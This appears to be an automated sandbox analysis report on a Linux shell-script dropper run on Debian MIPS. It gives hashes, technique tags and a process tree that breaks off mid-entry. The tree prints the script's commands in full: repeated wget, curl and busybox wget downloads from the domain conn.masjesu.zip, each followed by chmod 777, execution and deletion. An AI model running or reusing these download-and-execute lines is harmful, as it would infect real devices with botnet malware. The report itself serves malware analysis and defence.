52ccc008e2f7d7cf9851e84523edc40035d62378e9a7f91589d1685fdf933163

Analysis

max time kernel
110s
max time network
112s
platform
debian-9_mips
resource
debian9-mipsbe-20240611-en
resource tags

arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
07/11/2024, 02:25

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
52ccc008e2f7d7cf9851e84523edc40035d62378e9a7f91589d1685fdf933163.sh
Size 10KB
Sample241107-cwf13ateql
SHA256 52ccc008e2f7d7cf9851e84523edc40035d62378e9a7f91589d1685fdf933163
MD5 f142a5899c57dca6b2117e9cc743b486
SHA1 6acc10fd8ef7a8b228ee2f19bf6f9706e4b63dc8
SHA512 531eee13d6273a01f6a648c9efb750b91ebbb6baa8d060dbdddd841b3c0fb84d4795bc6e69d1d81deb30f751015eef8618dfc6d97cfd79bbc7d31ddc472eb15a
SSDEEP 96:YDfcZn10Lh0h4hRYUpGttiLQ9Q9QdoZHaHSHBu6zNNJLrbL/pBMX1LZx7L050R0i:PmjzwlnAuGHYkV96iuGHYkvpu
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 28 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
739	chmod
804	chmod
859	chmod
950	chmod
971	chmod
866	chmod
901	chmod
964	chmod
992	chmod
769	chmod
880	chmod
894	chmod
957	chmod
929	chmod
943	chmod
887	chmod
922	chmod
999	chmod
1006	chmod
746	chmod
985	chmod
978	chmod
873	chmod
936	chmod
812	chmod
834	chmod
908	chmod
915	chmod

Executes dropped EXE 28 IoCs

Reads runtime system information 28 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 64 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
743	curl
918	wget
967	wget
984	busybox
996	curl
1002	wget
745	busybox
774	wget
883	wget
935	busybox
811	busybox
865	busybox
872	busybox
898	curl
904	wget
912	curl
914	busybox
952	rm
750	curl
850	curl
891	curl
1003	curl
975	curl
900	busybox
925	wget
939	wget
928	busybox
946	wget
988	wget
712	wget
889	rm
893	busybox
884	curl
888	BDQpfh5RrqYRBzloRxgTcipYix3rE43i4m
905	curl
947	curl
951	BDQpfh5RrqYRBzloRxgTcipYix3rE43i4m
785	curl
861	rm
862	wget
974	wget
863	curl
907	busybox
961	curl
991	busybox
762	busybox
815	wget
829	busybox
921	busybox
942	busybox
953	wget
960	wget
968	curl
860	F70qfEvIpM3VEF97eZLtE1nfAIrfNhnsHM
876	wget
890	wget
919	curl
926	curl
956	busybox
1005	busybox
799	busybox
809	curl
877	curl
886	busybox

Writes file to tmp directory 28 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/DwwiE2TjtXE4epFig6QlA55pj5cpwonJqk	curl
File opened for modification	/tmp/lSIfMZglBGk62GujDk34Dyt6KlUPs5WliE	curl
File opened for modification	/tmp/CxZPATvrcpgwrotTmKvnfyjZp2RnPisL9u	curl
File opened for modification	/tmp/DwwiE2TjtXE4epFig6QlA55pj5cpwonJqk	curl
File opened for modification	/tmp/CMpOhergTXNOhW93cAZSy2pIm3lW2dKfEt	curl
File opened for modification	/tmp/lSIfMZglBGk62GujDk34Dyt6KlUPs5WliE	curl
File opened for modification	/tmp/g9m6YevKiedE9tVEZxf54OfGYibxEE0ccT	curl
File opened for modification	/tmp/SYAxHEWGLvJoKmN16NocoC8x8vugQhEqyT	curl
File opened for modification	/tmp/BDQpfh5RrqYRBzloRxgTcipYix3rE43i4m	curl
File opened for modification	/tmp/Dd6PgAWrl6qAiaHnRQ0wum9SJerLAG4xNP	curl
File opened for modification	/tmp/5W1JnEEJF4xoRpqKOKi8OR1et42vAdIn5l	curl
File opened for modification	/tmp/g9m6YevKiedE9tVEZxf54OfGYibxEE0ccT	curl
File opened for modification	/tmp/SYAxHEWGLvJoKmN16NocoC8x8vugQhEqyT	curl
File opened for modification	/tmp/u9KUT7Mi74FVO5nZWJ9UPFdCcFYTyrLNgG	curl
File opened for modification	/tmp/s8a0ml5R4Q2pzGaV3r3fU3pD1KTDkBWBRi	curl
File opened for modification	/tmp/s8a0ml5R4Q2pzGaV3r3fU3pD1KTDkBWBRi	curl
File opened for modification	/tmp/CMpOhergTXNOhW93cAZSy2pIm3lW2dKfEt	curl
File opened for modification	/tmp/CxZPATvrcpgwrotTmKvnfyjZp2RnPisL9u	curl
File opened for modification	/tmp/lyXLxGiJg0K6Y26YnCxzTWPdELx2enJ65i	curl
File opened for modification	/tmp/SVrQYiJXI6HTQiV4Rsp9eCfJOSsczD90QC	curl
File opened for modification	/tmp/SVrQYiJXI6HTQiV4Rsp9eCfJOSsczD90QC	curl
File opened for modification	/tmp/lyXLxGiJg0K6Y26YnCxzTWPdELx2enJ65i	curl
File opened for modification	/tmp/F70qfEvIpM3VEF97eZLtE1nfAIrfNhnsHM	curl
File opened for modification	/tmp/BDQpfh5RrqYRBzloRxgTcipYix3rE43i4m	curl
File opened for modification	/tmp/F70qfEvIpM3VEF97eZLtE1nfAIrfNhnsHM	curl
File opened for modification	/tmp/Dd6PgAWrl6qAiaHnRQ0wum9SJerLAG4xNP	curl
File opened for modification	/tmp/5W1JnEEJF4xoRpqKOKi8OR1et42vAdIn5l	curl
File opened for modification	/tmp/u9KUT7Mi74FVO5nZWJ9UPFdCcFYTyrLNgG	curl

/tmp/52ccc008e2f7d7cf9851e84523edc40035d62378e9a7f91589d1685fdf933163.sh
/tmp/52ccc008e2f7d7cf9851e84523edc40035d62378e9a7f91589d1685fdf933163.sh
1⤵
PID:706
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:709
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/DwwiE2TjtXE4epFig6QlA55pj5cpwonJqk
  2⤵
  - System Network Configuration Discovery
  PID:712
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/DwwiE2TjtXE4epFig6QlA55pj5cpwonJqk
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:732
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/DwwiE2TjtXE4epFig6QlA55pj5cpwonJqk
  2⤵
  PID:738
- /bin/chmod
  chmod 777 DwwiE2TjtXE4epFig6QlA55pj5cpwonJqk
  2⤵
  - File and Directory Permissions Modification
  PID:739
- /tmp/DwwiE2TjtXE4epFig6QlA55pj5cpwonJqk
  ./DwwiE2TjtXE4epFig6QlA55pj5cpwonJqk
  2⤵
  - Executes dropped EXE
  PID:740
- /bin/rm
  rm DwwiE2TjtXE4epFig6QlA55pj5cpwonJqk
  2⤵
  PID:741
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/Dd6PgAWrl6qAiaHnRQ0wum9SJerLAG4xNP
  2⤵
  PID:742
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/Dd6PgAWrl6qAiaHnRQ0wum9SJerLAG4xNP
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:743
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/Dd6PgAWrl6qAiaHnRQ0wum9SJerLAG4xNP
  2⤵
  - System Network Configuration Discovery
  PID:745
- /bin/chmod
  chmod 777 Dd6PgAWrl6qAiaHnRQ0wum9SJerLAG4xNP
  2⤵
  - File and Directory Permissions Modification
  PID:746
- /tmp/Dd6PgAWrl6qAiaHnRQ0wum9SJerLAG4xNP
  ./Dd6PgAWrl6qAiaHnRQ0wum9SJerLAG4xNP
  2⤵
  - Executes dropped EXE
  PID:747
- /bin/rm
  rm Dd6PgAWrl6qAiaHnRQ0wum9SJerLAG4xNP
  2⤵
  PID:748
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/CMpOhergTXNOhW93cAZSy2pIm3lW2dKfEt
  2⤵
  PID:749
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/CMpOhergTXNOhW93cAZSy2pIm3lW2dKfEt
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:750
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/CMpOhergTXNOhW93cAZSy2pIm3lW2dKfEt
  2⤵
  - System Network Configuration Discovery
  PID:762
- /bin/chmod
  chmod 777 CMpOhergTXNOhW93cAZSy2pIm3lW2dKfEt
  2⤵
  - File and Directory Permissions Modification
  PID:769
- /tmp/CMpOhergTXNOhW93cAZSy2pIm3lW2dKfEt
  ./CMpOhergTXNOhW93cAZSy2pIm3lW2dKfEt
  2⤵
  - Executes dropped EXE
  PID:770
- /bin/rm
  rm CMpOhergTXNOhW93cAZSy2pIm3lW2dKfEt
  2⤵
  PID:773
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/lSIfMZglBGk62GujDk34Dyt6KlUPs5WliE
  2⤵
  - System Network Configuration Discovery
  PID:774
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/lSIfMZglBGk62GujDk34Dyt6KlUPs5WliE
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:785
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/lSIfMZglBGk62GujDk34Dyt6KlUPs5WliE
  2⤵
  - System Network Configuration Discovery
  PID:799
- /bin/chmod
  chmod 777 lSIfMZglBGk62GujDk34Dyt6KlUPs5WliE
  2⤵
  - File and Directory Permissions Modification
  PID:804
- /tmp/lSIfMZglBGk62GujDk34Dyt6KlUPs5WliE
  ./lSIfMZglBGk62GujDk34Dyt6KlUPs5WliE
  2⤵
  - Executes dropped EXE
  PID:806
- /bin/rm
  rm lSIfMZglBGk62GujDk34Dyt6KlUPs5WliE
  2⤵
  PID:807
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/CxZPATvrcpgwrotTmKvnfyjZp2RnPisL9u
  2⤵
  PID:808
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/CxZPATvrcpgwrotTmKvnfyjZp2RnPisL9u
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:809
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/CxZPATvrcpgwrotTmKvnfyjZp2RnPisL9u
  2⤵
  - System Network Configuration Discovery
  PID:811
- /bin/chmod
  chmod 777 CxZPATvrcpgwrotTmKvnfyjZp2RnPisL9u
  2⤵
  - File and Directory Permissions Modification
  PID:812
- /tmp/CxZPATvrcpgwrotTmKvnfyjZp2RnPisL9u
  ./CxZPATvrcpgwrotTmKvnfyjZp2RnPisL9u
  2⤵
  - Executes dropped EXE
  PID:813
- /bin/rm
  rm CxZPATvrcpgwrotTmKvnfyjZp2RnPisL9u
  2⤵
  PID:814
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/5W1JnEEJF4xoRpqKOKi8OR1et42vAdIn5l
  2⤵
  - System Network Configuration Discovery
  PID:815
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/5W1JnEEJF4xoRpqKOKi8OR1et42vAdIn5l
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:816
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/5W1JnEEJF4xoRpqKOKi8OR1et42vAdIn5l
  2⤵
  - System Network Configuration Discovery
  PID:829
- /bin/chmod
  chmod 777 5W1JnEEJF4xoRpqKOKi8OR1et42vAdIn5l
  2⤵
  - File and Directory Permissions Modification
  PID:834
- /tmp/5W1JnEEJF4xoRpqKOKi8OR1et42vAdIn5l
  ./5W1JnEEJF4xoRpqKOKi8OR1et42vAdIn5l
  2⤵
  - Executes dropped EXE
  PID:835
- /bin/rm
  rm 5W1JnEEJF4xoRpqKOKi8OR1et42vAdIn5l
  2⤵
  PID:839
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/F70qfEvIpM3VEF97eZLtE1nfAIrfNhnsHM
  2⤵
  PID:841
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/F70qfEvIpM3VEF97eZLtE1nfAIrfNhnsHM
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:850
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/F70qfEvIpM3VEF97eZLtE1nfAIrfNhnsHM
  2⤵
  PID:858
- /bin/chmod
  chmod 777 F70qfEvIpM3VEF97eZLtE1nfAIrfNhnsHM
  2⤵
  - File and Directory Permissions Modification
  PID:859
- /tmp/F70qfEvIpM3VEF97eZLtE1nfAIrfNhnsHM
  ./F70qfEvIpM3VEF97eZLtE1nfAIrfNhnsHM
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:860
- /bin/rm
  rm F70qfEvIpM3VEF97eZLtE1nfAIrfNhnsHM
  2⤵
  - System Network Configuration Discovery
  PID:861
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/g9m6YevKiedE9tVEZxf54OfGYibxEE0ccT
  2⤵
  - System Network Configuration Discovery
  PID:862
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/g9m6YevKiedE9tVEZxf54OfGYibxEE0ccT
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:863
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/g9m6YevKiedE9tVEZxf54OfGYibxEE0ccT
  2⤵
  - System Network Configuration Discovery
  PID:865
- /bin/chmod
  chmod 777 g9m6YevKiedE9tVEZxf54OfGYibxEE0ccT
  2⤵
  - File and Directory Permissions Modification
  PID:866
- /tmp/g9m6YevKiedE9tVEZxf54OfGYibxEE0ccT
  ./g9m6YevKiedE9tVEZxf54OfGYibxEE0ccT
  2⤵
  - Executes dropped EXE
  PID:867
- /bin/rm
  rm g9m6YevKiedE9tVEZxf54OfGYibxEE0ccT
  2⤵
  PID:868
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/SVrQYiJXI6HTQiV4Rsp9eCfJOSsczD90QC
  2⤵
  PID:869
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/SVrQYiJXI6HTQiV4Rsp9eCfJOSsczD90QC
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:870
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/SVrQYiJXI6HTQiV4Rsp9eCfJOSsczD90QC
  2⤵
  - System Network Configuration Discovery
  PID:872
- /bin/chmod
  chmod 777 SVrQYiJXI6HTQiV4Rsp9eCfJOSsczD90QC
  2⤵
  - File and Directory Permissions Modification
  PID:873
- /tmp/SVrQYiJXI6HTQiV4Rsp9eCfJOSsczD90QC
  ./SVrQYiJXI6HTQiV4Rsp9eCfJOSsczD90QC
  2⤵
  - Executes dropped EXE
  PID:874
- /bin/rm
  rm SVrQYiJXI6HTQiV4Rsp9eCfJOSsczD90QC
  2⤵
  PID:875
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/SYAxHEWGLvJoKmN16NocoC8x8vugQhEqyT
  2⤵
  - System Network Configuration Discovery
  PID:876
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/SYAxHEWGLvJoKmN16NocoC8x8vugQhEqyT
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:877
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/SYAxHEWGLvJoKmN16NocoC8x8vugQhEqyT
  2⤵
  PID:879
- /bin/chmod
  chmod 777 SYAxHEWGLvJoKmN16NocoC8x8vugQhEqyT
  2⤵
  - File and Directory Permissions Modification
  PID:880
- /tmp/SYAxHEWGLvJoKmN16NocoC8x8vugQhEqyT
  ./SYAxHEWGLvJoKmN16NocoC8x8vugQhEqyT
  2⤵
  - Executes dropped EXE
  PID:881
- /bin/rm
  rm SYAxHEWGLvJoKmN16NocoC8x8vugQhEqyT
  2⤵
  PID:882
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/BDQpfh5RrqYRBzloRxgTcipYix3rE43i4m
  2⤵
  - System Network Configuration Discovery
  PID:883
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/BDQpfh5RrqYRBzloRxgTcipYix3rE43i4m
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:884
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/BDQpfh5RrqYRBzloRxgTcipYix3rE43i4m
  2⤵
  - System Network Configuration Discovery
  PID:886
- /bin/chmod
  chmod 777 BDQpfh5RrqYRBzloRxgTcipYix3rE43i4m
  2⤵
  - File and Directory Permissions Modification
  PID:887
- /tmp/BDQpfh5RrqYRBzloRxgTcipYix3rE43i4m
  ./BDQpfh5RrqYRBzloRxgTcipYix3rE43i4m
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:888
- /bin/rm
  rm BDQpfh5RrqYRBzloRxgTcipYix3rE43i4m
  2⤵
  - System Network Configuration Discovery
  PID:889
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/u9KUT7Mi74FVO5nZWJ9UPFdCcFYTyrLNgG
  2⤵
  - System Network Configuration Discovery
  PID:890
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/u9KUT7Mi74FVO5nZWJ9UPFdCcFYTyrLNgG
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:891
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/u9KUT7Mi74FVO5nZWJ9UPFdCcFYTyrLNgG
  2⤵
  - System Network Configuration Discovery
  PID:893
- /bin/chmod
  chmod 777 u9KUT7Mi74FVO5nZWJ9UPFdCcFYTyrLNgG
  2⤵
  - File and Directory Permissions Modification
  PID:894
- /tmp/u9KUT7Mi74FVO5nZWJ9UPFdCcFYTyrLNgG
  ./u9KUT7Mi74FVO5nZWJ9UPFdCcFYTyrLNgG
  2⤵
  - Executes dropped EXE
  PID:895
- /bin/rm
  rm u9KUT7Mi74FVO5nZWJ9UPFdCcFYTyrLNgG
  2⤵
  PID:896
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/s8a0ml5R4Q2pzGaV3r3fU3pD1KTDkBWBRi
  2⤵
  PID:897
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/s8a0ml5R4Q2pzGaV3r3fU3pD1KTDkBWBRi
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:898
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/s8a0ml5R4Q2pzGaV3r3fU3pD1KTDkBWBRi
  2⤵
  - System Network Configuration Discovery
  PID:900
- /bin/chmod
  chmod 777 s8a0ml5R4Q2pzGaV3r3fU3pD1KTDkBWBRi
  2⤵
  - File and Directory Permissions Modification
  PID:901
- /tmp/s8a0ml5R4Q2pzGaV3r3fU3pD1KTDkBWBRi
  ./s8a0ml5R4Q2pzGaV3r3fU3pD1KTDkBWBRi
  2⤵
  - Executes dropped EXE
  PID:902
- /bin/rm
  rm s8a0ml5R4Q2pzGaV3r3fU3pD1KTDkBWBRi
  2⤵
  PID:903
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/lyXLxGiJg0K6Y26YnCxzTWPdELx2enJ65i
  2⤵
  - System Network Configuration Discovery
  PID:904
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/lyXLxGiJg0K6Y26YnCxzTWPdELx2enJ65i
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:905
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/lyXLxGiJg0K6Y26YnCxzTWPdELx2enJ65i
  2⤵
  - System Network Configuration Discovery
  PID:907
- /bin/chmod
  chmod 777 lyXLxGiJg0K6Y26YnCxzTWPdELx2enJ65i
  2⤵
  - File and Directory Permissions Modification
  PID:908
- /tmp/lyXLxGiJg0K6Y26YnCxzTWPdELx2enJ65i
  ./lyXLxGiJg0K6Y26YnCxzTWPdELx2enJ65i
  2⤵
  - Executes dropped EXE
  PID:909
- /bin/rm
  rm lyXLxGiJg0K6Y26YnCxzTWPdELx2enJ65i
  2⤵
  PID:910
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/SVrQYiJXI6HTQiV4Rsp9eCfJOSsczD90QC
  2⤵
  PID:911
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/SVrQYiJXI6HTQiV4Rsp9eCfJOSsczD90QC
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:912
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/SVrQYiJXI6HTQiV4Rsp9eCfJOSsczD90QC
  2⤵
  - System Network Configuration Discovery
  PID:914
- /bin/chmod
  chmod 777 SVrQYiJXI6HTQiV4Rsp9eCfJOSsczD90QC
  2⤵
  - File and Directory Permissions Modification
  PID:915
- /tmp/SVrQYiJXI6HTQiV4Rsp9eCfJOSsczD90QC
  ./SVrQYiJXI6HTQiV4Rsp9eCfJOSsczD90QC
  2⤵
  - Executes dropped EXE
  PID:916
- /bin/rm
  rm SVrQYiJXI6HTQiV4Rsp9eCfJOSsczD90QC
  2⤵
  PID:917
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/F70qfEvIpM3VEF97eZLtE1nfAIrfNhnsHM
  2⤵
  - System Network Configuration Discovery
  PID:918
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/F70qfEvIpM3VEF97eZLtE1nfAIrfNhnsHM
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:919
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/F70qfEvIpM3VEF97eZLtE1nfAIrfNhnsHM
  2⤵
  - System Network Configuration Discovery
  PID:921
- /bin/chmod
  chmod 777 F70qfEvIpM3VEF97eZLtE1nfAIrfNhnsHM
  2⤵
  - File and Directory Permissions Modification
  PID:922
- /tmp/F70qfEvIpM3VEF97eZLtE1nfAIrfNhnsHM
  ./F70qfEvIpM3VEF97eZLtE1nfAIrfNhnsHM
  2⤵
  - Executes dropped EXE
  PID:923
- /bin/rm
  rm F70qfEvIpM3VEF97eZLtE1nfAIrfNhnsHM
  2⤵
  PID:924
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/g9m6YevKiedE9tVEZxf54OfGYibxEE0ccT
  2⤵
  - System Network Configuration Discovery
  PID:925
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/g9m6YevKiedE9tVEZxf54OfGYibxEE0ccT
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:926
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/g9m6YevKiedE9tVEZxf54OfGYibxEE0ccT
  2⤵
  - System Network Configuration Discovery
  PID:928
- /bin/chmod
  chmod 777 g9m6YevKiedE9tVEZxf54OfGYibxEE0ccT
  2⤵
  - File and Directory Permissions Modification
  PID:929
- /tmp/g9m6YevKiedE9tVEZxf54OfGYibxEE0ccT
  ./g9m6YevKiedE9tVEZxf54OfGYibxEE0ccT
  2⤵
  - Executes dropped EXE
  PID:930
- /bin/rm
  rm g9m6YevKiedE9tVEZxf54OfGYibxEE0ccT
  2⤵
  PID:931
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/lyXLxGiJg0K6Y26YnCxzTWPdELx2enJ65i
  2⤵
  PID:932
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/lyXLxGiJg0K6Y26YnCxzTWPdELx2enJ65i
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:933
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/lyXLxGiJg0K6Y26YnCxzTWPdELx2enJ65i
  2⤵
  - System Network Configuration Discovery
  PID:935
- /bin/chmod
  chmod 777 lyXLxGiJg0K6Y26YnCxzTWPdELx2enJ65i
  2⤵
  - File and Directory Permissions Modification
  PID:936
- /tmp/lyXLxGiJg0K6Y26YnCxzTWPdELx2enJ65i
  ./lyXLxGiJg0K6Y26YnCxzTWPdELx2enJ65i
  2⤵
  - Executes dropped EXE
  PID:937
- /bin/rm
  rm lyXLxGiJg0K6Y26YnCxzTWPdELx2enJ65i
  2⤵
  PID:938
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/SYAxHEWGLvJoKmN16NocoC8x8vugQhEqyT
  2⤵
  - System Network Configuration Discovery
  PID:939
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/SYAxHEWGLvJoKmN16NocoC8x8vugQhEqyT
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:940
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/SYAxHEWGLvJoKmN16NocoC8x8vugQhEqyT
  2⤵
  - System Network Configuration Discovery
  PID:942
- /bin/chmod
  chmod 777 SYAxHEWGLvJoKmN16NocoC8x8vugQhEqyT
  2⤵
  - File and Directory Permissions Modification
  PID:943
- /tmp/SYAxHEWGLvJoKmN16NocoC8x8vugQhEqyT
  ./SYAxHEWGLvJoKmN16NocoC8x8vugQhEqyT
  2⤵
  - Executes dropped EXE
  PID:944
- /bin/rm
  rm SYAxHEWGLvJoKmN16NocoC8x8vugQhEqyT
  2⤵
  PID:945
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/BDQpfh5RrqYRBzloRxgTcipYix3rE43i4m
  2⤵
  - System Network Configuration Discovery
  PID:946
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/BDQpfh5RrqYRBzloRxgTcipYix3rE43i4m
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:947
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/BDQpfh5RrqYRBzloRxgTcipYix3rE43i4m
  2⤵
  PID:949
- /bin/chmod
  chmod 777 BDQpfh5RrqYRBzloRxgTcipYix3rE43i4m
  2⤵
  - File and Directory Permissions Modification
  PID:950
- /tmp/BDQpfh5RrqYRBzloRxgTcipYix3rE43i4m
  ./BDQpfh5RrqYRBzloRxgTcipYix3rE43i4m
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:951
- /bin/rm
  rm BDQpfh5RrqYRBzloRxgTcipYix3rE43i4m
  2⤵
  - System Network Configuration Discovery
  PID:952
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/u9KUT7Mi74FVO5nZWJ9UPFdCcFYTyrLNgG
  2⤵
  - System Network Configuration Discovery
  PID:953
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/u9KUT7Mi74FVO5nZWJ9UPFdCcFYTyrLNgG
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:954
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/u9KUT7Mi74FVO5nZWJ9UPFdCcFYTyrLNgG
  2⤵
  - System Network Configuration Discovery
  PID:956
- /bin/chmod
  chmod 777 u9KUT7Mi74FVO5nZWJ9UPFdCcFYTyrLNgG
  2⤵
  - File and Directory Permissions Modification
  PID:957
- /tmp/u9KUT7Mi74FVO5nZWJ9UPFdCcFYTyrLNgG
  ./u9KUT7Mi74FVO5nZWJ9UPFdCcFYTyrLNgG
  2⤵
  - Executes dropped EXE
  PID:958
- /bin/rm
  rm u9KUT7Mi74FVO5nZWJ9UPFdCcFYTyrLNgG
  2⤵
  PID:959
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/s8a0ml5R4Q2pzGaV3r3fU3pD1KTDkBWBRi
  2⤵
  - System Network Configuration Discovery
  PID:960
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/s8a0ml5R4Q2pzGaV3r3fU3pD1KTDkBWBRi
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:961
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/s8a0ml5R4Q2pzGaV3r3fU3pD1KTDkBWBRi
  2⤵
  PID:963
- /bin/chmod
